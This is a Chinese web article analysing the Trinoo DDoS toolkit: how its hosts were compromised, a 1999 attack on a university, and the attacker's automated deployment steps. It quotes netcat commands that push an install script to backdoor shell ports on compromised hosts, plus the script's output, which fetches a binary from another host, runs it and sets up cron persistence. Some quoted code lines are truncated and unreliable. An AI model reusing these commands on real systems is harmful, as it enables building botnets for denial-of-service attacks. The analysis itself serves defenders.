本站推荐

DDoS攻击工具Trinoo使用分析

作 者:未知 时间:2007-05-12 点击:
loading...

  本文是对拒绝服务攻击工具包trinoo中主/从程序服务器的一些分析。

  Trinoo守护程序的二进制代码包最初是在一些Solaris 2.x主机中发现的,这些主机是被攻击者利用RPC服务安全漏洞"statd"、"cmsd"和"ttdbserverd"入侵的。关于这些漏洞的详细资料请参阅CERT事件记录99-04:

  http://www.cert.org/incident_notes/IN-99-04.html

  最初的trinoo守护程序来源于某些基于UDP协议和有访问控制的远程命令shell,并很有可能附带有能自动记录的嗅探器(sniffer)。

  在研究这个工具包的过程中,捕获到了Trinoo攻击网络的安装过程及一些源代码。我们就是利用这些捕获到的源代码进入了深入的分析。

  对这些源代码的任何修改,如提示、口令、命令、TCP/UDP端口号或所支持的攻击方法、签名和具体功能,都可能使分析的结果与本文不同。

  该守护程序是在Solaris 2.5.1和Red Hat Linux 6.0上编译并运行。主服务器 (master) 在Red Hat Linux 6.0上编译和运行。但也许守护程序和主服务器都可在其它同类平台中使用。

  Trinoo网络可能包含几百、甚至几千台已被入侵的互联网主机组成。这些主机很可能都被装上了各种"后门"以方便再次进入系统。

  在1999年8月17日,一个由至少227台主机(其中114台属于Internet2主机)组成的trinoo网络攻击了位于明尼苏达(Minnessota)大学的一台主机,其结果是该主机网络崩溃超过两天。而在调查这次攻击期间,又有至少16台其它主机被攻击,其中包括了一些美国以外的主机。(请参阅附录D以了解此次trinoo攻击的报告。

  攻击过程

  一次典型的攻击过程很可能是这样的:

  1)一个盗取来的帐号被用于编译各种扫描工具、攻击工具(如缓冲区溢出程序)、rootkit和sniffer、trinoo守护程序、主服务器、入侵主机、目标主机清单等等。这个系统往往是一些拥有很多用户、存在管理漏洞和具有高速连接速率(以进行文件传输)的大型主机系统。

  2)然后对一个大范围的网络进行扫描以确定潜在的入侵目标。最有可能的是那些可能存在各种远程缓冲区溢出漏洞的主机,如wu-ftpd、RPC服务(cmsd, statd,ttdbserverd,amd)等。这些主机的操作系统最好是Sun Solaris 2.x和Linux,以便充分利用各种现成的rootkits和后门程序等。如果是其它系统则可用来保存工具和记录。

  3)在得到入侵主机清单后,编写实现入侵攻击、监听TCP端口(通常为1524"ingreslock")和连接到该端口以确定入侵成功的脚本程序。或者通过发送电子邮件到一个免费WEB邮箱以确认已入侵该主机。

  入侵完成后将产生一个"被控制"主机清单,这些主机将被用于放置后门、sniffer或trinoo守护程序或trinoo主服务器。

  4)从已入侵系统清单中选出满足建立trinoo网络需要的主机,放置已编译好的trinoo守护程序。

  5)最后,运行DoS攻击脚本,该脚本根据上面建立的被入侵主机清单,生成另外的脚本程序,在后台以最快的速度自动安装。脚本使用"netcat"将shell脚本发送到被入侵主机的1524/tcp端口。

  ./trin.sh | nc 128.aaa.167.217 1524 &
  ./trin.sh | nc 128.aaa.167.218 1524 &
  ./trin.sh | nc 128.aaa.167.219 1524 &
  ./trin.sh | nc 128.aaa.187.38 1524 &
  ./trin.sh | nc 128.bbb.2.80 1524 &
  ./trin.sh | nc 128.bbb.2.81 1524 &
  ./trin.sh | nc 128.bbb.2.238 1524 &
  ./trin.sh | nc 128.ccc.12.22 1524 &
  ./trin.sh | nc 128.ccc.12.50 1524 &
  . . .

  其中的"trin.sh"脚本产生如下输出:

  echo "rcp 192.168.0.1:leaf /usr/sbin/rpc.listen"
  echo "echo rcp is done moving binary"
  echo "chmod x /usr/sbin/rpc.listen"
  echo "echo launching trinoo"
  echo "/usr/sbin/rpc.listen"
  cron"
  echo "crontab cron"
  echo "echo launched"
  echo "exit"

  只要时常检查crontab文件,可以轻易监测到该主机是否已被trinoo侵入。

  在其它系统还发现了另一种方法:守护程序的名字被改为"xterm",然后通过脚本执行它。

  cd /var/adm/.1
  PATH=.:$PATH
  export PATH&1

  在这个守护程序中通过运行脚本来完成trinoo网络的建立是完全有可能的。

  更隐蔽的方法是让trinoo守护程序/主服务器只在某个给定时间才被唤醒运行,并打开监听的TCP或UDP端口。

  整个自动安装过程使攻击者在极短的时间内,利用大量的被入侵主机建立了拒绝服务攻击网络。

  6)作为一种选择,rootkit常常被安装到系统中以隐藏攻击程序、文件和网络连接。这对运行主服务器的系统更为重要,因为它是trinoo网络的核心部份。(注:在许多情况下,主服务器往往被安装在互联网服务供应商(ISP)的域名服务器上,DNS服务器大量的通讯流量、大量的TCP/UDP连接,将为隐蔽trinoo的网络连接、攻击过程和文件存放提供非常有利的帮助。(此外,除非能确定在域名服务器中存在拒绝服务工具的行为,否则系统管理员一般不会轻易中断系统服务进行安全检查。)

来源:http://www.2ky.cn/h/54/3521.htm
转载要求注明来源,请尊重作者版权!

关键字: 

会员登陆close X